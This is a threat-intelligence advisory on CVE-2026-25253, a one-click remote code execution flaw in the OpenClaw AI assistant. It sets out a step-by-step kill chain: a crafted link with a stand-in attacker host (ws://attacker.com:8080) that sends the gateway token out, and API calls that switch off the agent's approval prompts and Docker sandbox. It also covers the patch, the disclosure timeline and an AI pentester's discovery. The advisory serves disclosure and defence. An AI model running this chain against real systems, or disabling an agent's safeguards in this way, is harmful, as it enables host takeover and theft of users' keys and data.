# CVE-2026-25253: OpenClaw One-Click RCE via Malicious Link

> CVE-2026-25253: OpenClaw (formerly MoltBot/ClawdBot) 1-Click Remote Code Execution via Cross-Site WebSocket Hijacking (CSWSH). The Control UI trusts a gatewayUrl query parameter without validation and auto-connects on page load, sending the stored gateway authentication token in the WebSocket handshake. A single click on a crafted link exfiltrates the token to an attacker-controlled server. The attacker then uses the victim's browser as a pivot — exploiting the absence of WebSocket Origin validation — to connect back to the victim's localhost gateway, disable sandbox protections and exec-approval prompts via the API, and achieve arbitrary command execution on the host. CVSS 8.8. Exploitable even on loopback-only deployments because the victim's browser bridges the network gap. Public PoC exploit code available. Patched in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal.

- **Published:** 2026-02-03T03:10:00Z
- **Last reviewed:** 2026-02-03T03:10:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0044
- **ID:** TL-2026-0044
- **Severity:** CRITICAL (CVSS 8.8)
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 15 · **IOCs:** 38 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-25253

## Description

CVE-2026-25253 is a critical vulnerability in OpenClaw (formerly MoltBot, formerly ClawdBot), the open-source AI personal assistant with 100,000+ users. The vulnerability chains two distinct flaws into a devastating 1-click Remote Code Execution exploit:

Flaw 1 — Unauthenticated Gateway URL Override (CWE-669: Incorrect Resource Transfer Between Spheres): The Control UI's app-settings.ts accepts a gatewayUrl query parameter from the URL without any validation. When present, it persists the value to localStorage and app-lifecycle.ts immediately triggers connectGateway(), which in gateway.ts bundles the security-sensitive authToken into the WebSocket connect handshake. This means visiting https://victim-openclaw.com?gatewayUrl=ws://attacker.com:8080 silently redirects the authentication token to the attacker's server. Three code locations chain together: (1) app-settings.ts ingests the parameter, (2) app-lifecycle.ts auto-connects, (3) gateway.ts sends the token. Each is safe in isolation; together they form a critical data flow vulnerability that depthfirst's static analysis engine identified.

Flaw 2 — Missing WebSocket Origin Validation (Cross-Site WebSocket Hijacking): While browsers enforce Same-Origin Policy for HTTP requests via CORS, WebSocket connections have no equivalent browser-enforced restriction. The WebSocket server must validate the Origin header and reject unauthorized origins. OpenClaw's gateway WebSocket server did not perform Origin validation, accepting connections from any domain. This allows Cross-Site WebSocket Hijacking (CSWSH): JavaScript running on attacker.com can open a WebSocket to ws://localhost:18789 (the default OpenClaw gateway port) through the victim's browser. The browser acts as a network pivot, bridging the gap between the internet and the victim's otherwise inaccessible localhost.

Complete 1-Click RCE Kill Chain:
1. Victim visits attacker.com (disguised as innocuous URL)
2. JavaScript opens background window to http://victim-openclaw?gatewayUrl=ws://attacker.com:8080
3. Control UI auto-connects to attacker's WebSocket server, sending the gateway auth token
4. JavaScript uses CSWSH to open WebSocket from victim's browser to ws://localhost:18789
5. Authenticates using the stolen token (operator.admin + operator.approvals scopes)
6. Sends exec.approvals.set to disable user confirmation prompts (ask: 'off')
7. Sends config.patch to set tools.exec.host to 'gateway' (escapes Docker sandbox)
8. Sends node.invoke with arbitrary command for full RCE on the host

The entire chain executes in milliseconds. The victim doesn't type anything or approve any prompts. The attacker gains full host access: reading messages, API keys, files, and executing arbitrary commands.

Critical Attack Surface Analysis:
- Localhost binding does NOT protect against this attack — the victim's browser bridges the gap
- Docker sandboxing does NOT protect — the API allows disabling it via config.patch
- Exec-approval prompts do NOT protect — the API allows disabling them via exec.approvals.set
- The stolen token has operator.admin scope — full API access including config modification
- Default port 18789 is predictable — attacker JavaScript can target it directly
- Chrome's Local Network Access restriction (not yet enabled by default in Chrome v144) would mitigate but is not currently enforced

Discovery & Patch Timeline:
- Jan 26 2026 13:21 UTC: Ethiack's Hackian AI pentester begins testing a live instance
- Jan 26 2026 15:05 UTC: Hackian confirms the vulnerability autonomously in ~1h 40m
- Jan 26 2026 18:02 UTC: Reported to OpenClaw maintainers
- Jan 27 2026: depthfirst independently discovers the same vulnerability via static analysis
- Jan 27 2026 17:12 UTC: Ethiack opens PR #2880 with fix
- Jan 28 2026 21:32 UTC: Fixed in main branch (commit 8cb0fa9)
- Jan 29 2026: v2026.1.29 released with fix — gateway URL confirmation modal added
- Jan 14 2026: CVE-2026-25253 reserved (NVD)

Patch Analysis (commit 8cb0fa9, PR #2880):
- app-settings.ts: gatewayUrl from query params no longer auto-applied; stored as pendingGatewayUrl
- New gateway URL confirmation dialog (aria-modal=true) requires user to explicitly accept the new URL
- handleGatewayUrlConfirm() applies settings and reconnects only after user confirmation
- handleGatewayUrlCancel() rejects the override
- Does NOT add WebSocket Origin validation (that may be in a separate commit)

Comparison with TL-2026-0043 (Registry Poisoning):
- TL-0044: Exploits OpenClaw's CODE — a vulnerability in the Control UI data flow
- TL-0043: Exploits OpenClaw's ECOSYSTEM — supply chain poisoning via malicious skills
- Both achieve credential theft and RCE, but through completely different vectors
- TL-0044: Requires victim to click a link (one-time, instant compromise)
- TL-0043: Requires victim to install a malicious skill (persistent credential harvesting)
- Combined: TL-0008 (parent 1-Click RCE) + TL-0043 (registry poisoning) + TL-0044 (CVE technical analysis) = OpenClaw attack surface cluster

Real-World Exploitability:
- Public PoC: https://github.com/ethiack/moltbot-1click-rce (full exploit code)
- 100K+ OpenClaw users, many with internet-exposed Control UIs or running locally with messaging integrations
- Default configuration is vulnerable — no additional setup required by attacker
- An AI pentester (Hackian) found and confirmed this autonomously in under 2 hours — barrier to exploitation is near zero
- Social engineering vector is simple: share a link in any channel where OpenClaw users congregate
- CVSS 8.8 (not 9.8 because user interaction required), but the interaction is trivial (one click)

## MITRE ATT&CK

- T1566.002 Spearphishing Link
- T1528 Steal Application Access Token
- T1204.001 Malicious Link
- T1078.003 Local Accounts
- T1189 Drive-by Compromise
- T1190 Exploit Public-Facing Application
- T1203 Exploitation for Client Execution
- T1059 Command and Scripting Interpreter
- T1556 Modify Authentication Process
- T1611 Escape to Host
- T1685 Disable or Modify Tools
- T1578 Modify Cloud Compute Infrastructure
- T1070 Indicator Removal
- T1552 Unsecured Credentials
- T1606 Forge Web Credentials
- T1082 System Information Discovery
- T1046 Network Service Discovery
- T1550 Use Alternate Authentication Material
- T1005 Data from Local System
- T1213 Data from Information Repositories
- T1071 Application Layer Protocol
- T1571 Non-Standard Port
- T1090 Proxy
- T1041 Exfiltration Over C2 Channel
- T1567 Exfiltration Over Web Service
- T1565 Data Manipulation
- T1595 Active Scanning
- T1592 Gather Victim Host Information
- T1587 Develop Capabilities
- T1583 Acquire Infrastructure
- T1566 Phishing
- T1176 Software Extensions
- T1548 Abuse Elevation Control Mechanism
- T1555 Credentials from Password Stores
- T1518 Software Discovery
- T1114 Email Collection
- T1074 Data Staged
- T1021 Remote Services
- T1593 Search Open Websites/Domains

## Sources

- [The Hacker News: OpenClaw Bug Enables One-Click Remote Code Execution](https://thehackernews.com/2026/02/openclaw-bug-enables-one-click-remote.html)
- [NVD — CVE-2026-25253](https://nvd.nist.gov/vuln/detail/CVE-2026-25253)
- [depthfirst — 1-Click RCE To Steal Your Moltbot Data and Keys](https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys)
- [Ethiack — One-click RCE in under 2 hours with Autonomous Hacking Agent](https://ethiack.com/news/blog/one-click-rce-moltbot)
- [GitHub Advisory GHSA-g8p2-7wf7-98mq](https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq)
- [PoC Exploit Code — ethiack/moltbot-1click-rce](https://github.com/ethiack/moltbot-1click-rce)
- [Patch Commit 8cb0fa9 — PR #2880](https://github.com/openclaw/openclaw/commit/8cb0fa993ba0ba4a3e24c2a9e0416ab2ca796dcf)
- [OpenClaw Security Documentation](https://docs.openclaw.ai/gateway/security)
- [@0xacb vulnerability disclosure on X](https://x.com/0xacb/status/2016913750557651228)
- [MITRE CWE-669 — Incorrect Resource Transfer Between Spheres](https://cwe.mitre.org/data/definitions/669.html)
- [@theonejvo — ClawdBot security exposure discussion](https://x.com/theonejvo/status/2015401219746128322)
- [Chrome Local Network Access specification](https://developer.chrome.com/blog/local-network-access)
- [OpenClaw Blog — Security Updates](https://openclaw.ai/blog)
- [PR #2880 — Ethiack fix submission](https://github.com/moltbot/moltbot/pull/2880)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0044